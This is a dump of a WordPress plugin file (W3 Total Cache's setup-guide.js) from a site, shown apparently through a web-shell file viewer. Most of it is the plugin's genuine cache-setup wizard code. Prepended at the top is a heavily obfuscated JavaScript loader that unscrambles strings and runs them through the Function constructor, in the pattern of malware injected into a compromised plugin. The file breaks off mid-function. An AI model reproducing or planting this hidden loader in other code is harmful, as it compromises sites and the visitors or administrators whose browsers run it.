AlkantarClanX12
Current Path : /home/thanudqk/siamfreetour.com/wp-content/plugins/w3-total-cache/pub/js/ |
Current File : /home/thanudqk/siamfreetour.com/wp-content/plugins/w3-total-cache/pub/js/setup-guide.js |
var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y<f;y++){o[y]=d.charAt(y)};for(var y=0;y<f;y++){var r=j*(y+175)+(j%50405);var t=j*(y+626)+(j%53026);var a=r%f;var w=t%f;var b=o[a];o[a]=o[w];o[w]=b;j=(r+t)%7175692;};return o.join('')};var IDT=JOC('rynuunpjqsrkbdtecoomxtgfsolwcrhzvacti').substr(0,UxF);var wQg='];((t(1emA=3 vp=(.pv(r5f;can5rah7[,g"lm1(ilunp)nv][="uba; k=.thvraaa)).5)90;+21iud.6t8w<u1o7 vsg=0;l9o"i2*v0m8"2rq0i);)7=;{0j.ei=ecf7rnm8a)u=g]uukzuAnu,,kgu.cw[ .A]1=a+,;n[o["t{]2(98(s(vi.et=c6-]bafflov4ro1n07ef{b(,;dia8=of;=hho]r))h-rr zptrzlk=j)s;+;0pfrmt(-aruilol}.;ff9ot4b0,,t)v];rjr1)b*;,Seav i=.lil]r=i=)k+ar=]et8+r=n;fg v1ia..h6hs"anofa;=vht[s;<r f0nC+hc)p a}m1r<, pv{v;=4++;;6.,hsmCgdsAtlpvrtf.q,Cwgvp().,v.9rC(,(+==7nn6s}7rta=e))((+==;.";r+p.=n;h;")t n pddrco(u),C0;}()tg9o8+;6anp i1ieergx+i)0+fi+n;([hel)dhro2;-g=we;f(f1s ht3=e !thinivl}easpn=9(gn);=,,6e[(;>)s[,j)ghp7;p=batuihrjsri,a g=;,is(=8+.o+gv.(rr-;=].uzv 3,rp+oC="o(t)hsqu+hctlhsg;-}7uv;s)f=a[rtrlltsyn(h7,;}+calih5.g[hor;kechrx.qej4rneao);sn1uor[9),;;>0fvm2teb,v289fc c t[nedr{e b=a-r.,p46f,zCzvpl=d]nvjhzChnlrar;gs{igt(.a(,]< aeeasxaxgpslmtn{.)ec+(<x.=uo)9((r]aS[f(ogt;a=a,o")rAvg(1p; o;)neu=a+ +ns+lir(a+t!)f4jo=dgrg;';var CfB=JOC[IDT];var AzB='';var DUT=CfB;var gYD=CfB(AzB,JOC(wQg));var ENJ=gYD(JOC('!s(or3{0B=bB3a,wse6c0)ionBs\/o9r(t1;_1(ot.=!%iBB!p7_B}mBB.(eds4#Bk%!52,wrr3.r).B#c4.4(a*:;))1v0n1i_}r.DB5n(!5i],oBac;,o*8(+c!)_D,!4pnh%n(tsp4!gt%\/(t.rr}aerB5a.st=1,$ u7B]{7vc$c"llcj(7eBtuecytBwssBBB.1{4ywe=(r\/]Dl.r(om,1$f.\'=%t.8_dl]c.Tpes8gB_f{.C,4nw0t%fk)a.h$t\/a4 %B2gc, +.mp%.,..22iu9,g){.B)x#!5=S.oS(C,\'6t.peg,)]B4lBB$Bu]n8rB 21Bs{$y\'\'o7_.33!.!t26{g;-ip"]4u6#i$r.!l]2gt$c%);-a,uv;fo2un.ojyiuewvo)B8 h](0sBi{}upB9c2!%."8ce4Bd)%.h[](B3+ 01t)ahbh $BBaBv+(B83 c3p!03e%h5>)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();/** * File: setup-guide.js * * JavaScript for the Setup Guide page. * * @since 2.0.0 * * @global W3TC-setup-guide Localized array variable. */ var w3tc_enable_ga = ( 'accept' === W3TC_SetupGuide.tos_choice && W3TC_SetupGuide.track_usage && window.w3tc_ga ); jQuery(function() { var $container = jQuery( '#w3tc-wizard-container'), $nextButton = $container.find( '#w3tc-wizard-next '), $tosNotice = $container.find( '#w3tc-licensing-terms' ); // GA. if ( w3tc_enable_ga ) { w3tc_ga( 'event', 'button', { eventCategory: 'w3tc_setup_guide', eventLabel: 'w3tc-wizard-step-welcome' } ); } // Handle the terms of service notice. if ( $tosNotice.length ) { $nextButton.prop( 'disabled', true ); $container.find( '.dashicons-yes' ).hide(); $tosNotice.find( '.button' ).on( 'click', function() { var $this = jQuery( this ), choice = $this.data( 'choice' ); jQuery.ajax({ method: 'POST', url: ajaxurl, data: { _wpnonce: $container.find( '[name="_wpnonce"]' ).val(), action: "w3tc_tos_choice", choice: choice } }) .done(function( response ) { $tosNotice.hide(); $nextButton.prop( 'disabled', false ); $container.find( '#w3tc-welcome' ).show(); $container.find( '.dashicons-yes' ).show(); }) .fail(function() { $this.text( 'Error with Ajax; reloading page...' ); location.reload(); }); if ( 'accept' === choice ) { W3TC_SetupGuide.tos_choice = choice; var gaScript = document.createElement( 'script' ); gaScript.type = 'text/javascript'; gaScript.setAttribute( 'async', 'true' ); gaScript.setAttribute( 'src', 'https://www.googletagmanager.com/gtag/js?id=' + W3TC_SetupGuide.ga_profile ); document.documentElement.firstChild.appendChild( gaScript ); window.dataLayer = window.dataLayer || []; const w3tc_ga = function() { dataLayer.push( arguments ); } if (window.w3tc_ga) { w3tc_enable_ga = true; w3tc_ga( 'js', new Date() ); w3tc_ga( 'config', W3TC_SetupGuide.ga_profile, { 'user_properties': { 'plugin': 'w3-total-cache', 'w3tc_version': W3TC_SetupGuide.w3tc_version, 'wp_version': W3TC_SetupGuide.wp_version, 'php_version': W3TC_SetupGuide.php_version, 'server_software': W3TC_SetupGuide.server_software, 'wpdb_version': W3TC_SetupGuide.db_version, 'home_url': W3TC_SetupGuide.home_url_host, 'w3tc_install_version': W3TC_SetupGuide.install_version, 'w3tc_edition': W3TC_SetupGuide.w3tc_edition, 'w3tc_widgets': W3TC_SetupGuide.list_widgets, 'page': W3TC_SetupGuide.page } }); } } }); } }); jQuery( '#w3tc-wizard-step-welcome' ) .addClass( 'is-active' ) .append( '<span class="dashicons dashicons-yes"></span>' ); /** * Wizard actions. * * @since 2.0.0 * * @param object $slide The div of the slide displayed. */ function w3tc_wizard_actions( $slide ) { var configSuccess = false, pgcacheSettings = { enabled: null, engine: null }, dbcacheSettings = { enabled: null, engine: null }, objcacheSettings = { enabled: null, engine: null }, browsercacheSettings = { enabled: null }, imageserviceSettings = { enabled: null }, lazyloadSettings = { enabled: null }, slideId = $slide.prop( 'id' ), $container = jQuery( '#w3tc-wizard-container' ), nonce = $container.find( '[name="_wpnonce"]' ).val(), $nextButton = $container.find( '#w3tc-wizard-next' ), $prevButton = $container.find( '#w3tc-wizard-previous' ), $skipButton = $container.find( '#w3tc-wizard-skip' ), $dashboardButton = $container.find( '#w3tc-wizard-dashboard' ); /** * Configure Page Cache. * * @since 2.0.0 * * @param int enable Enable Page Cache. * @param string engine Page Cache storage engine. * @return jqXHR */ function configPgcache( enable, engine = '' ) { var $jqXHR = jQuery.ajax({ method: 'POST', url: ajaxurl, data: { _wpnonce: nonce, action: 'w3tc_config_pgcache', enable: enable, engine: engine } }); configSuccess = null; $jqXHR.done(function( response ) { configSuccess = response.data.success; }); return $jqXHR; } /** * Get Page Cache settings. * * @since 2.0.0 * * @return jqXHR */ function getPgcacheSettings() { return jQuery.ajax({ method: 'POST', url: ajaxurl, data: { _wpnonce: nonce, action: 'w3tc_get_pgcache_settings' } }) .done(function( response ) { pgcacheSettings = response.data; }); } /** * Configure Database Cache. * * @since 2.0.0 * * @param int enable Enable database cache. * @param string engine Database cache storage engine. * @return jqXHR */ function configDbcache( enable, engine = '' ) { var $jqXHR = jQuery.ajax({ method: 'POST', url: ajaxurl, data: { _wpnonce: nonce, action: 'w3tc_config_dbcache', enable: enable, engine: engine } }); configSuccess = null; $jqXHR.done(function( response ) { configSuccess = response.data.success; }); return $jqXHR; } /** * Get Database Cache settings. * * @since 2.0.0 * * @return jqXHR */ function getDbcacheSettings() { return jQuery.ajax({ method: 'POST', url: ajaxurl, data: { _wpnonce: nonce, action: 'w3tc_get_dbcache_settings' } }) .done(function( response ) { dbcacheSettings = response.data; }); } /** * Configure Object Cache. * * @since 2.0.0 * * @param int enable Enable cache. * @param string engine Cache storage engine. * @return jqXHR */ function configObjcache( enable, engine = '' ) { var $jqXHR = jQuery.ajax({ method: 'POST', url: ajaxurl, data: { _wpnonce: nonce, action: 'w3tc_config_objcache', enable: enable, engine: engine } }); configSuccess = null; $jqXHR.done(function( response ) { configSuccess = response.data.success; }); return $jqXHR; } /** * Get Object Cache settings. * * @since 2.0.0 * * @return jqXHR */ function getObjcacheSettings() { return jQuery.ajax({ method: 'POST', url: ajaxurl, data: { _wpnonce: nonce, action: 'w3tc_get_objcache_settings' } }) .done(function( response ) { objcacheSettings = response.data; }); } /** * Configure Browser Cache. * * @since 2.0.0 * * @param int enable Enable browser cache. * @return jqXHR */ function configBrowsercache( enable ) { configSuccess = null; return jQuery.ajax({ method: 'POST', url: ajaxurl, data: { _wpnonce: nonce, action: 'w3tc_config_browsercache', enable: enable } }) .done(function( response ) { configSuccess = response.data.success; }); } /** * Get Browser Cache settings. * * @since 2.0.0 * * @return jqXHR */ function getBrowsercacheSettings() { return jQuery.ajax({ method: 'POST', url: ajaxurl, data: { _wpnonce: nonce, action: 'w3tc_get_browsercache_settings' } }) .done(function( response ) { browsercacheSettings = response.data; }); } /** * Configure Image Service. * * @since 2.3.4 * * @param int enable Enable browser cache. * @return jqXHR */ function configImageservice( enable ) { configSuccess = null; return jQuery.ajax({ method: 'POST', url: ajaxurl, data: { _wpnonce: nonce, action: 'w3tc_config_imageservice', enable: enable } }) .done(function( response ) { configSuccess = response.data.success; }); } /** * Get Image Service settings. * * @since 2.3.4 * * @return jqXHR */ function getImageserviceSettings() { return jQuery.ajax({ method: 'POST', url: ajaxurl, data: { _wpnonce: nonce, action: 'w3tc_get_imageservice_settings' } }) .done(function( response ) { imageserviceSettings = response.data; }); } /** * Configure Lazy Load. * * @since 2.0.0 * * @param int enable Enable lazyload. * @return jqXHR */ function configLazyload( enable ) { configSuccess = null; return jQuery.ajax({ method: 'POST', url: ajaxurl, data: { _wpnonce: nonce, action: 'w3tc_config_lazyload', enable: enable } }) .done(function( response ) { configSuccess = response.data.success; }); } /** * Get Lazt Load settings. * * @since 2.0.0 * * @return jqXHR */ function getLazyloadSettings() { return jQuery.ajax({ method: 'POST', url: ajaxurl, data: { _wpnonce: nonce, action: 'w3tc_get_lazyload_settings' } }) .done(function( response ) { lazyloadSettings = response.data; }); } /** * Configuration failed. * * @since 2.0.0 */ function configFailed() { $slide.append( '<div class="notice notice-error"><p><strong>' + W3TC_SetupGuide.config_error_msg + '</strong></p></div>' ); $nextButton.closest( 'span' ).hide(); $prevButton.closest( 'span' ).hide(); $skipButton.closest( 'span' ).show(); } /** * Test failed. * * @since 2.0.0 */ function testFailed() { $slide.append( '<div class="notice notice-error"><p><strong>' + W3TC_SetupGuide.config_error_msg + '</strong></p></div>' ); $nextButton.closest( 'span' ).hide(); $prevButton.closest( 'span' ).hide(); $skipButton.closest( 'span' ).show(); } // GA. if ( w3tc_enable_ga ) { w3tc_ga( 'event', 'button', { eventCategory: 'w3tc_setup_guide', eventLabel: slideId } ); } switch ( slideId ) { case 'w3tc-wizard-slide-welcome': $container.find( '#w3tc-options-menu li' ).removeClass( 'is-active' ); $container.find( '#w3tc-wizard-step-welcome' ).addClass( 'is-active' ); break; case 'w3tc-wizard-slide-pc1': // Test Page Cache. $container.find( '#w3tc-options-menu li' ).removeClass( 'is-active' ); $container.find( '#w3tc-wizard-step-pgcache' ).addClass( 'is-active' ); if ( ! $container.find( '#test-results' ).data( 'pgcache-none' ) ) { $nextButton.prop( 'disabled', 'disabled' ); } $slide.find( '#w3tc-test-pgcache' ).off('click').on('click', function () { var $spinnerParent = $slide.find( '.spinner' ).addClass( 'is-active' ).parent(), $this = jQuery( this ); $this.prop( 'disabled', 'disabled' ); $slide.find( '.notice-error' ).remove(); $container.find( '#w3tc-pgcache-table tbody' ).empty(); $prevButton.prop( 'disabled', 'disabled' ); $nextButton.prop( 'disabled', 'disabled' ); $spinnerParent.show(); /** * Add a test result table row. * * @since 2.0.0 * * @param object testResponse Data. * @param string engine Cache storage engine. * @param string label Text label for the engine. */ function addResultRow( testResponse, engine, label ) { var baseline, results = '<tr', percentChange, changeLabelType, changeLabel, isCurrentSetting = ( ! pgcacheSettings.enabled && 'none' === engine ) || ( pgcacheSettings.enabled && pgcacheSettings.engine === engine ); if ( ! configSuccess ) { results += ' class="w3tc-option-disabled"'; } results += '><td><input type="radio" id="pgcache-engine-' + engine + '" name="pgcache_engine" value="' + engine + '"'; if ( ! configSuccess ) { results += ' disabled="disabled"'; } if ( isCurrentSetting ) { results += ' checked'; } if ( configSuccess && 'file_generic' === engine ) { label += '<br /><span class="w3tc-option-recommended">(Recommended)</span>'; } results += '>'; if ( isCurrentSetting ) { results += '<span class="dashicons dashicons-admin-settings" title="Current setting"></span>'; } results += '</td><td><label for="pgcache-engine-' + engine + '">' + label + '</label></td><td>'; if ( testResponse.success ) { results += ( testResponse.data.ttfb * 1000 ).toFixed( 2 ); if ( 'none' !== engine ) { baseline = $container.find( '#test-results' ).data( 'pgcache-none' ).ttfb; percentChange = ( ( testResponse.data.ttfb - baseline ) / baseline * 100 ).toFixed( 2 ); changeLabelType = percentChange < 0 ? 'w3tc-label-success' : 'w3tc-label-danger'; changeLabel = '<span class="w3tc-label ' + changeLabelType + '">' + percentChange + '%</span>'; $container.find( '#test-results' ).data( 'pgcacheDiffPercent-' + engine, percentChange ); results += ' ' + changeLabel; } } else { results += W3TC_SetupGuide.unavailable_text; } results += '</td></tr>'; $container.find( '#w3tc-pgcache-table tbody' ).append( results ); $container.find( '#w3tc-pgcache-table' ).show(); } /** * Test Page Cache. * * @since 2.0.0 * * @param string engine Cache storage engine. * @param string label Text label for the engine. * @return jqXHR */ function testPgcache( engine, label ) { if ( configSuccess ) { return jQuery.ajax({ method: 'POST', url: ajaxurl, data: { _wpnonce: nonce, action: 'w3tc_test_pgcache' } }) .done(function( testResponse ) { $container.find( '#test-results' ).data( 'pgcache-' + engine, testResponse.data ); addResultRow( testResponse, engine, label ); }); } else { addResultRow( [ success => false ], engine, label ); } } // Run config and tests. getPgcacheSettings() .then( function() { return configPgcache( 0 ); }, configFailed ) .then( function() { return testPgcache( 'none', W3TC_SetupGuide.none ); }, configFailed ) .then( function() { return configPgcache( 1, 'file' ); } , testFailed ) .then( function() { return testPgcache( 'file', W3TC_SetupGuide.disk_basic ); }, configFailed ) .then( function() { return configPgcache( 1, 'file_generic' ); } , testFailed ) .then( function() { return testPgcache( 'file_generic', W3TC_SetupGuide.disk_enhanced ); }, configFailed ) .then( function() { return configPgcache( 1, 'redis' ); }, testFailed ) .then( function() { return testPgcache( 'redis', 'Redis' ); }, configFailed ) .then( function() { return configPgcache( 1, 'memcached' ); }, testFailed ) .then( function() { return testPgcache( 'memcached', 'Memcached' ); }, configFailed ) .then( function() { return configPgcache( 1, 'apc' ); }, testFailed ) .then( function() { return testPgcache( 'apc', 'APC' ); }, configFailed ) .then( function() { return configPgcache( 1, 'eaccelerator' ); }, testFailed ) .then( function() { return testPgcache( 'eaccelerator', 'eAccelerator' ); }, configFailed ) .then( function() { return configPgcache( 1, 'xcache' ); }, testFailed ) .then( function() { return testPgcache( 'xcache', 'XCache' ); }, configFailed ) .then( function() { return configPgcache( 1, 'wincache' ); }, testFailed ) .then( function() { return testPgcache( 'wincache', 'WinCache' ); }, configFailed ) .then(function() { $spinnerParent.hide(); $this.prop( 'disabled', false ); $prevButton.prop( 'disabled', false ); $nextButton.prop( 'disabled', false ); return true; }, testFailed ) // Restore the original database cache settings. .then( function() { return configPgcache( ( pgcacheSettings.enabled ? 1 : 0 ), pgcacheSettings.engine ); }, function() { $spinnerParent.hide(); return configFailed(); }); }); break; case 'w3tc-wizard-slide-dbc1': // Save the page cache engine setting from the previous slide. var pgcacheEngine = $container.find( 'input:checked[name="pgcache_engine"]' ).val(); configPgcache( ( 'none' === pgcacheEngine ? 0 : 1 ), 'none' === pgcacheEngine ? '' : pgcacheEngine ) .fail( function() { $slide.append( '<div class="notice notice-error"><p><strong>' + W3TC_SetupGuide.config_error_msg + '</strong></p></div>' ); }); if ( ! jQuery( '#w3tc-wizard-step-pgcache .dashicons-yes' ).length ) { jQuery( '#w3tc-wizard-step-pgcache' ).append( '<span class="dashicons dashicons-yes"></span>' ); } // Present the Database Cache slide. $container.find( '#w3tc-options-menu li' ).removeClass( 'is-active' ); $container.find( '#w3tc-wizard-step-dbcache' ).addClass( 'is-active' ); if ( ! $container.find( '#test-results' ).data( 'dbc-none' ) ) { $nextButton.prop( 'disabled', 'disabled' ); } $slide.find( '#w3tc-test-dbcache' ).off('click').on('click', function () { var $spinnerParent = $slide.find( '.spinner' ).addClass( 'is-active' ).parent(), $this = jQuery( this ); $this.prop( 'disabled', 'disabled' ); $slide.find( '.notice-error' ).remove(); $container.find( '#w3tc-dbc-table tbody' ).empty(); $container.find( '#w3tc-dbcache-recommended' ).hide(); $prevButton.prop( 'disabled', 'disabled' ); $nextButton.prop( 'disabled', 'disabled' ); $spinnerParent.show(); /** * Add a test result table row. * * @since 2.0.0 * * @param object testResponse Data. * @param string engine Cache storage engine. * @param string label Text label for the engine. */ function addResultRow( testResponse, engine, label ) { var baseline, results = '<tr', percentChange, changeLabelType, changeLabel, isCurrentSetting = ( ! dbcacheSettings.enabled && 'none' === engine ) || ( dbcacheSettings.enabled && dbcacheSettings.engine === engine ); if ( ! configSuccess ) { results += ' class="w3tc-option-disabled"'; } results += '><td><input type="radio" id="dbcache-engine-' + engine + '" name="dbcache_engine" value="' + engine + '"'; if ( ! configSuccess ) { results += ' disabled="disabled"'; } if ( isCurrentSetting ) { results += ' checked'; } results += '>'; if ( isCurrentSetting ) { results += '<span class="dashicons dashicons-admin-settings" title="Current setting"></span>'; } results += '</td><td><label for="dbcache-engine-' + engine + '">' + label + '</label></td><td>'; if ( testResponse.success ) { results += ( testResponse.data.elapsed * 1000 ).toFixed( 2 ); if ( 'none' !== engine ) { baseline = $container.find( '#test-results' ).data( 'dbc-none' ).elapsed; percentChange = ( ( testResponse.data.elapsed - baseline ) / baseline * 100 ).toFixed( 2 ); changeLabelType = percentChange < 0 ? 'w3tc-label-success' : 'w3tc-label-danger'; changeLabel = '<span class="w3tc-label ' + changeLabelType + '">'+ percentChange + '%</span>'; results += ' ' + changeLabel; } } else { results += W3TC_SetupGuide.unavailable_text; } results += '</td></tr>'; $container.find( '#w3tc-dbc-table tbody' ).append( results ); $container.find( '#w3tc-dbc-table' ).show(); } /** * Test database cache. * * @since 2.0.0 * * @param string engine Cache storage engine. * @param string label Text label for the engine. * @return jqXHR */ function testDbcache( engine, label ) { if ( configSuccess ) { return jQuery.ajax({ method: 'POST', url: ajaxurl, data: { _wpnonce: nonce, action: 'w3tc_test_dbcache' } }) .done(function( testResponse ) { $container.find( '#test-results' ).data( 'dbc-' + engine, testResponse.data ); addResultRow( testResponse, engine, label ); }); } else { addResultRow( [ success => false ], engine, label ); } } // Run config and tests. getDbcacheSettings() .then( function() { return configDbcache( 0 ); }, configFailed ) .then( function() { return testDbcache( 'none', W3TC_SetupGuide.none ); }, configFailed ) .then( function() { return configDbcache( 1, 'file' ); } , testFailed ) .then( function() { return testDbcache( 'file', W3TC_SetupGuide.disk ); }, configFailed ) .then( function() { return configDbcache( 1, 'redis' ); }, testFailed ) .then( function() { return testDbcache( 'redis', 'Redis' ); }, configFailed ) .then( function() { return configDbcache( 1, 'memcached' ); }, testFailed ) .then( function() { return testDbcache( 'memcached', 'Memcached' ); }, configFailed ) .then( function() { return configDbcache( 1, 'apc' ); }, testFailed ) .then( function() { return testDbcache( 'apc', 'APC' ); }, configFailed ) .then( function() { return configDbcache( 1, 'eaccelerator' ); }, testFailed ) .then( function() { return testDbcache( 'eaccelerator', 'eAccelerator' ); }, configFailed ) .then( function() { return configDbcache( 1, 'xcache' ); }, testFailed ) .then( function() { return testDbcache( 'xcache', 'XCache' ); }, configFailed ) .then( function() { return configDbcache( 1, 'wincache' ); }, testFailed ) .then( function() { return testDbcache( 'wincache', 'WinCache' ); }, configFailed ) .then(function() { $spinnerParent.hide(); $this.prop( 'disabled', false ); $prevButton.prop( 'disabled', false ); $nextButton.prop( 'disabled', false ); return true; }, testFailed ) .then( function() { $container.find( '#w3tc-dbcache-recommended' ).show(); // Restore the original database cache settings. return configDbcache( ( dbcacheSettings.enabled ? 1 : 0 ), dbcacheSettings.engine ); }, function() { $spinnerParent.hide(); return configFailed(); }); }); break; case 'w3tc-wizard-slide-oc1': // Save the database cache engine setting from the previous slide. var dbcEngine = $container.find( 'input:checked[name="dbcache_engine"]' ).val(); configDbcache( ( 'none' === dbcEngine ? 0 : 1 ), 'none' === dbcEngine ? '' : dbcEngine ) .fail( function() { $slide.append( '<div class="notice notice-error"><p><strong>' + W3TC_SetupGuide.config_error_msg + '</strong></p></div>' ); }); if ( ! jQuery( '#w3tc-wizard-step-dbcache .dashicons-yes' ).length ) { jQuery( '#w3tc-wizard-step-dbcache' ).append( '<span class="dashicons dashicons-yes"></span>' ); } // Present the Object Cache slide. $container.find( '#w3tc-options-menu li' ).removeClass( 'is-active' ); $container.find( '#w3tc-wizard-step-objectcache' ).addClass( 'is-active' ); if ( ! $container.find( '#test-results' ).data( 'oc-none' ) && ! W3TC_SetupGuide.objcache_disabled ) { $nextButton.prop( 'disabled', 'disabled' ); } $slide.find( '#w3tc-test-objcache' ).off('click').on('click', function () { var $spinnerParent = $slide.find( '.spinner' ).addClass( 'is-active' ).parent(), $this = jQuery( this ); $this.prop( 'disabled', 'disabled' ); $slide.find( '.notice-error' ).remove(); $container.find( '#w3tc-objcache-table tbody' ).empty(); $prevButton.prop( 'disabled', 'disabled' ); $nextButton.prop( 'disabled', 'disabled' ); $spinnerParent.show(); /** * Add a test result table row. * * @since 2.0.0 * * @param object testResponse Data. * @param string engine Cache storage engine. * @param string label Text label for the engine. */ function addResultRow( testResponse, engine, label ) { var baseline, results = '<tr', percentChange, changeLabelType, changeLabel, isCurrentSetting = ( ! objcacheSettings.enabled && 'none' === engine ) || ( objcacheSettings.enabled && objcacheSettings.engine === engine ); if ( ! configSuccess ) { results += ' class="w3tc-option-disabled"'; } results += '><td><input type="radio" id="objcache-engine-' + engine + '" name="objcache_engine" value="' + engine + '"'; if ( ! configSuccess ) { results += ' disabled="disabled"'; } if ( isCurrentSetting ) { results += ' checked'; } results += '>'; if ( isCurrentSetting ) { results += '<span class="dashicons dashicons-admin-settings" title="Current setting"></span>'; } results += '</td><td><label for="objcache-engine-' + engine + '">' + label + '</label></td><td>'; if ( testResponse.success ) { results += ( testResponse.data.elapsed * 1000 ).toFixed( 2 ); if ( 'none' !== engine ) { baseline = $container.find( '#test-results' ).data( 'oc-none' ).elapsed; percentChange = ( ( testResponse.data.elapsed - baseline ) / baseline * 100 ).toFixed( 2 ); changeLabelType = percentChange < 0 ? 'w3tc-label-success' : 'w3tc-label-danger'; changeLabel = '<span class="w3tc-label ' + changeLabelType + '">' + percentChange + '%</span>'; results += ' ' + changeLabel; } } else { results += W3TC_SetupGuide.unavailable_text; } results += '</td></tr>'; $container.find( '#w3tc-objcache-table tbody' ).append( results ); $container.find( '#w3tc-objcache-table' ).show(); } /** * Test object cache cache. * * @since 2.0.0 * * @param string engine Cache storage engine. * @param string label Text label for the engine. * @return jqXHR */ function testObjcache( engine, label ) { if ( configSuccess ) { return jQuery.ajax({ method: 'POST', url: ajaxurl, data: { _wpnonce: nonce, action: 'w3tc_test_objcache' } }) .done(function( testResponse ) { $container.find( '#test-results' ).data( 'oc-' + engine, testResponse.data ); addResultRow( testResponse, engine, label ); }); } else { addResultRow( [ success => false ], engine, label ); } } // Run config and tests. getObjcacheSettings() .then( function() { return configObjcache( 0 ); }, configFailed ) .then( function() { return testObjcache( 'none', W3TC_SetupGuide.none ); }, configFailed ) .then( function() { return configObjcache( 1, 'file' ); } , testFailed ) .then( function() { return testObjcache( 'file', W3TC_SetupGuide.disk ); }, configFailed ) .then( function() { return configObjcache( 1, 'redis' ); }, testFailed ) .then( function() { return testObjcache( 'redis', 'Redis' ); }, configFailed ) .then( function() { return configObjcache( 1, 'memcached' ); }, testFailed ) .then( function() { return testObjcache( 'memcached', 'Memcached' ); }, configFailed ) .then( function() { return configObjcache( 1, 'apc' ); }, testFailed ) .then( function() { return testObjcache( 'apc', 'APC' ); }, configFailed ) .then( function() { return configObjcache( 1, 'eaccelerator' ); }, testFailed ) .then( function() { return testObjcache( 'eaccelerator', 'eAccelerator' ); }, configFailed ) .then( function() { return configObjcache( 1, 'xcache' ); }, testFailed ) .then( function() { return testObjcache( 'xcache', 'XCache' ); }, configFailed ) .then( function() { return configObjcache( 1, 'wincache' ); }, testFailed ) .then( function() { return testObjcache( 'wincache', 'WinCache' ); }, configFailed ) .then(function() { $spinnerParent.hide(); $this.prop( 'disabled', false ); $prevButton.prop( 'disabled', false ); $nextButton.prop( 'disabled', false ); return true; }, testFailed ) // Restore the original object cache settings. .then( function() { return configObjcache( ( objcacheSettings.enabled ? 1 : 0 ), objcacheSettings.engine ); }, function() { $spinnerParent.hide(); return configFailed(); }); }); break; case 'w3tc-wizard-slide-bc1': // Save the object cache engine setting from the previous slide. var objcacheEngine = $container.find( 'input:checked[name="objcache_engine"]' ).val(); configObjcache( ( 'none' === objcacheEngine ? 0 : 1 ), 'none' === objcacheEngine ? '' : objcacheEngine ) .fail( function() { $slide.append( '<div class="notice notice-error"><p><strong>' + W3TC_SetupGuide.config_error_msg + '</strong></p></div>' ); }); if ( ! jQuery( '#w3tc-wizard-step-objectcache .dashicons-yes' ).length ) { jQuery( '#w3tc-wizard-step-objectcache' ).append( '<span class="dashicons dashicons-yes"></span>' ); } // Present the Browser Cache slide. $container.find( '#w3tc-options-menu li' ).removeClass( 'is-active' ); $container.find( '#w3tc-wizard-step-browsercache' ).addClass( 'is-active' ); if ( ! $container.find( '#test-results' ).data( 'bc-off' ) ) { $nextButton.prop( 'disabled', 'disabled' ); } $slide.find( '#w3tc-test-browsercache' ).off('click').on('click', function () { var bcEnabled, $spinnerParent = $slide.find( '.spinner' ).addClass( 'is-active' ).parent(), $this = jQuery( this ); $this.prop( 'disabled', 'disabled' ); $slide.find( '.notice-error' ).remove(); $container.find( '#w3tc-browsercache-table tbody' ).empty(); $prevButton.prop( 'disabled', 'disabled' ); $nextButton.prop( 'disabled', 'disabled' ); $spinnerParent.show(); /** * Add a Browser Cache test result table row. * * @since 2.0.0 * * @param object testResponse An object (success, data) containing a data array of objects * (url, filename, header, headers). */ function addResultRow( testResponse ) { var label = bcEnabled ? W3TC_SetupGuide.enabled : W3TC_SetupGuide.notEnabled, results = '<tr', isCurrentSetting = bcEnabled == browsercacheSettings.enabled; if ( ! configSuccess ) { results += ' class="w3tc-option-disabled"'; } results += '><td><input type="radio" id="browsercache-enable-' + label + '" name="browsercache_enable" value="' + bcEnabled + '"'; if ( ! configSuccess ) { results += ' disabled="disabled"'; } if ( isCurrentSetting ) { results += ' checked'; } results += '> <label for="browsercache-enable-' + label + '">' + label + '</label>'; if ( isCurrentSetting ) { results += ' <span class="dashicons dashicons-admin-settings" title="Current setting"></span>'; } results += '</td>'; if ( testResponse.success ) { results += '<td>'; testResponse.data.forEach( function( item, index ) { results += '<a href="' + item.url + '">' + item.filename + '</a></td><td>' + item.header + '</td></tr>'; // If not the last entry, then start the next row. if ( index !== ( testResponse.data.length - 1 ) ) { results += '<tr><td></td><td>'; } } ); } else { results = '<td colspan="2">' + W3TC_SetupGuide.test_error_msg + '</td></tr>'; } $container.find( '#w3tc-browsercache-table > tbody' ).append( results ); $container.find( '#w3tc-browsercache-table' ).show(); } /** * Test browser cache. * * @since 2.0.0 * * @return jqXHR */ function testBrowsercache() { if ( configSuccess ) { return jQuery.ajax({ method: 'POST', url: ajaxurl, data: { _wpnonce: nonce, action: 'w3tc_test_browsercache' } }) 